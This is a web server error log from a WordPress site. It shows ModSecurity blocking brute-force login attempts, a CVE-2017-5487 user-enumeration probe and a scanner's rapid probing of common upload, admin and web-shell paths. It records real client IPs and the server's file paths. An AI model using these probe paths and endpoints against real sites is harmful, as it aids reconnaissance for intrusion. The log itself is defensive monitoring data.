[Thu Nov 13 13:39:20.502269 2025] [:error] [pid 62215:tid 62222] [client 31.97.205.201:41242] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRVvCEvClof1c6XaOBVPAAAAAMM"]
[Thu Nov 13 13:39:24.462834 2025] [:error] [pid 62215:tid 62241] [client 31.97.205.201:41242] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRVvDEvClof1c6XaOBVPBwAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 15:06:26.816622 2025] [:error] [pid 6086:tid 6098] [client 167.172.190.211:56606] [client 167.172.190.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.190.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRWDcn9_6CRZzjZnAe33cgAAAQk"]
[Thu Nov 13 15:06:36.378818 2025] [:error] [pid 6086:tid 6089] [client 167.172.190.211:58470] [client 167.172.190.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRWDfH9_6CRZzjZnAe33nQAAAQA"]
[Thu Nov 13 17:55:43.688233 2025] [:error] [pid 62215:tid 62240] [client 150.241.107.255:56209] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRWrH0vClof1c6XaOBWsHQAAANU"]
[Thu Nov 13 17:55:44.237129 2025] [:error] [pid 44245:tid 44252] [client 150.241.107.255:56582] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRWrIIk7r-HKZdqw-dXPTgAAAUE"]
[Thu Nov 13 17:55:44.783603 2025] [:error] [pid 6086:tid 6112] [client 150.241.107.255:56797] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrIH9_6CRZzjZnAe0zYQAAARc"]
[Thu Nov 13 18:40:08.800459 2025] [autoindex:error] [pid 62216:tid 62250] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:09.146083 2025] [autoindex:error] [pid 62216:tid 62262] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:09.637901 2025] [autoindex:error] [pid 62216:tid 62271] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:09.927758 2025] [autoindex:error] [pid 62216:tid 62260] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:10.401724 2025] [autoindex:error] [pid 62216:tid 62256] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:11.099957 2025] [autoindex:error] [pid 62216:tid 62261] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:11.805947 2025] [autoindex:error] [pid 62216:tid 62263] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:16.629302 2025] [autoindex:error] [pid 62216:tid 62270] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:16.911079 2025] [autoindex:error] [pid 62216:tid 62267] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:17.928112 2025] [autoindex:error] [pid 62216:tid 62249] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:18.214705 2025] [autoindex:error] [pid 62216:tid 62264] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:18.519084 2025] [autoindex:error] [pid 62216:tid 62257] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:18.903404 2025] [autoindex:error] [pid 62216:tid 62251] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:19.246223 2025] [autoindex:error] [pid 62216:tid 62247] [client 146.70.160.236:53144] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:22.201052 2025] [autoindex:error] [pid 62216:tid 62250] [client 146.70.160.236:53144] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:40:29.119190 2025] [:error] [pid 62216:tid 62247] [client 146.70.160.236:53144] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/"] [unique_id "aRW1nepyFB9M2aVQhwM-IgAAAAA"]
[Thu Nov 13 18:40:31.679261 2025] [:error] [pid 62215:tid 62226] [client 146.70.160.236:50938] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/"] [unique_id "aRW1n0vClof1c6XaOBW-DAAAAMc"]
[Thu Nov 13 18:40:35.353074 2025] [:error] [pid 62216:tid 62263] [client 146.70.160.236:50944] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/"] [unique_id "aRW1o-pyFB9M2aVQhwM-JAAAABA"]
[Thu Nov 13 18:40:38.635274 2025] [:error] [pid 44245:tid 44266] [client 146.70.160.236:36800] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload/"] [unique_id "aRW1pok7r-HKZdqw-dXaRwAAAU8"]
[Thu Nov 13 18:40:41.333893 2025] [:error] [pid 6086:tid 6113] [client 146.70.160.236:36810] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/"] [unique_id "aRW1qX9_6CRZzjZnAe0-ygAAARg"]
[Thu Nov 13 18:40:44.332035 2025] [:error] [pid 62215:tid 62239] [client 146.70.160.236:36818] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/"] [unique_id "aRW1rEvClof1c6XaOBW-OQAAANQ"]
[Thu Nov 13 18:40:46.753846 2025] [:error] [pid 62216:tid 62264] [client 146.70.160.236:36832] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/"] [unique_id "aRW1rupyFB9M2aVQhwM-QgAAABE"]
[Thu Nov 13 18:40:50.132075 2025] [:error] [pid 62217:tid 62286] [client 146.70.160.236:40388] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Admin/uploads/"] [unique_id "aRW1shjGU3T9wKBmdNdBLwAAAEw"]
[Thu Nov 13 18:40:52.556772 2025] [:error] [pid 62215:tid 62238] [client 146.70.160.236:40400] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Admin/uploads/"] [unique_id "aRW1tEvClof1c6XaOBW-RgAAANM"]
[Thu Nov 13 18:40:54.737819 2025] [:error] [pid 62303:tid 62329] [client 146.70.160.236:40408] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Admin/uploads/"] [unique_id "aRW1tr-hlFTtVrZw8jDyMAAAAJY"]
[Thu Nov 13 18:40:56.533028 2025] [:error] [pid 62217:tid 62285] [client 146.70.160.236:40424] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Admin/uploads/"] [unique_id "aRW1uBjGU3T9wKBmdNdBMQAAAEs"]
[Thu Nov 13 18:40:58.670605 2025] [:error] [pid 62217:tid 62295] [client 146.70.160.236:48132] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/"] [unique_id "aRW1uhjGU3T9wKBmdNdBMwAAAFU"]
[Thu Nov 13 18:41:02.531020 2025] [:error] [pid 62217:tid 62276] [client 146.70.160.236:48134] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/"] [unique_id "aRW1vhjGU3T9wKBmdNdBOAAAAEI"]
[Thu Nov 13 18:41:06.747781 2025] [:error] [pid 44245:tid 44261] [client 146.70.160.236:48146] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/"] [unique_id "aRW1wok7r-HKZdqw-dXaUgAAAUo"]
[Thu Nov 13 18:41:08.536738 2025] [:error] [pid 44354:tid 44363] [client 146.70.160.236:41040] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/"] [unique_id "aRW1xHqKopQhy3G4s3mDowAAAYQ"]
[Thu Nov 13 18:41:12.333477 2025] [:error] [pid 62215:tid 62227] [client 146.70.160.236:41052] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/"] [unique_id "aRW1yEvClof1c6XaOBW-WwAAAMg"]
[Thu Nov 13 18:41:17.055437 2025] [:error] [pid 62216:tid 62271] [client 146.70.160.236:33270] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/"] [unique_id "aRW1zepyFB9M2aVQhwM-UwAAABg"]
[Thu Nov 13 18:41:20.032488 2025] [:error] [pid 62303:tid 62320] [client 146.70.160.236:33280] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/"] [unique_id "aRW10L-hlFTtVrZw8jDyPAAAAI0"]
[Thu Nov 13 18:41:22.967711 2025] [:error] [pid 44245:tid 44268] [client 146.70.160.236:33294] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/"] [unique_id "aRW10ok7r-HKZdqw-dXaYAAAAVE"]
[Thu Nov 13 18:41:26.245687 2025] [:error] [pid 44354:tid 44361] [client 146.70.160.236:33306] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/assets/"] [unique_id "aRW11nqKopQhy3G4s3mDuAAAAYI"]
[Thu Nov 13 18:41:48.094440 2025] [:error] [pid 44354:tid 44360] [client 146.70.160.236:55652] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/"] [unique_id "aRW17HqKopQhy3G4s3mD2AAAAYE"]
[Thu Nov 13 18:41:51.862369 2025] [:error] [pid 6086:tid 6100] [client 146.70.160.236:51394] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/"] [unique_id "aRW1739_6CRZzjZnAe0-_gAAAQs"]
[Thu Nov 13 18:41:54.338518 2025] [:error] [pid 44354:tid 44359] [client 146.70.160.236:51400] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/"] [unique_id "aRW18nqKopQhy3G4s3mD3QAAAYA"]
[Thu Nov 13 18:41:57.875937 2025] [:error] [pid 6086:tid 6096] [client 146.70.160.236:44480] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/"] [unique_id "aRW19X9_6CRZzjZnAe0_AgAAAQc"]
[Thu Nov 13 18:42:00.081654 2025] [:error] [pid 62217:tid 62292] [client 146.70.160.236:44492] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "aRW1-BjGU3T9wKBmdNdBXAAAAFI"]
[Thu Nov 13 18:42:03.735081 2025] [:error] [pid 44354:tid 44361] [client 146.70.160.236:44494] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "aRW1-3qKopQhy3G4s3mD5AAAAYI"]
[Thu Nov 13 18:42:06.644327 2025] [:error] [pid 62216:tid 62252] [client 146.70.160.236:44500] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "aRW1_upyFB9M2aVQhwM-eQAAAAU"]
[Thu Nov 13 18:42:08.970679 2025] [:error] [pid 6086:tid 6104] [client 146.70.160.236:41692] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/editor/"] [unique_id "aRW2AH9_6CRZzjZnAe0_CgAAAQ8"]
[Thu Nov 13 18:42:12.444659 2025] [:error] [pid 62216:tid 62248] [client 146.70.160.236:41704] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/editor/"] [unique_id "aRW2BOpyFB9M2aVQhwM-fQAAAAE"]
[Thu Nov 13 18:42:16.130520 2025] [:error] [pid 62303:tid 62308] [client 146.70.160.236:41720] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/editor/"] [unique_id "aRW2CL-hlFTtVrZw8jDyYAAAAIE"]
[Thu Nov 13 18:42:19.532671 2025] [:error] [pid 62303:tid 62326] [client 146.70.160.236:35074] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/include/"] [unique_id "aRW2C7-hlFTtVrZw8jDyYgAAAJM"]
[Thu Nov 13 18:42:22.232091 2025] [:error] [pid 62215:tid 62235] [client 146.70.160.236:35086] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/include/"] [unique_id "aRW2DkvClof1c6XaOBW-pgAAANA"]
[Thu Nov 13 18:42:25.248784 2025] [:error] [pid 62217:tid 62293] [client 146.70.160.236:35092] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/include/"] [unique_id "aRW2ERjGU3T9wKBmdNdBZQAAAFM"]
[Thu Nov 13 18:42:28.467438 2025] [:error] [pid 62215:tid 62227] [client 146.70.160.236:49716] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Assets/"] [unique_id "aRW2FEvClof1c6XaOBW-rQAAAMg"]
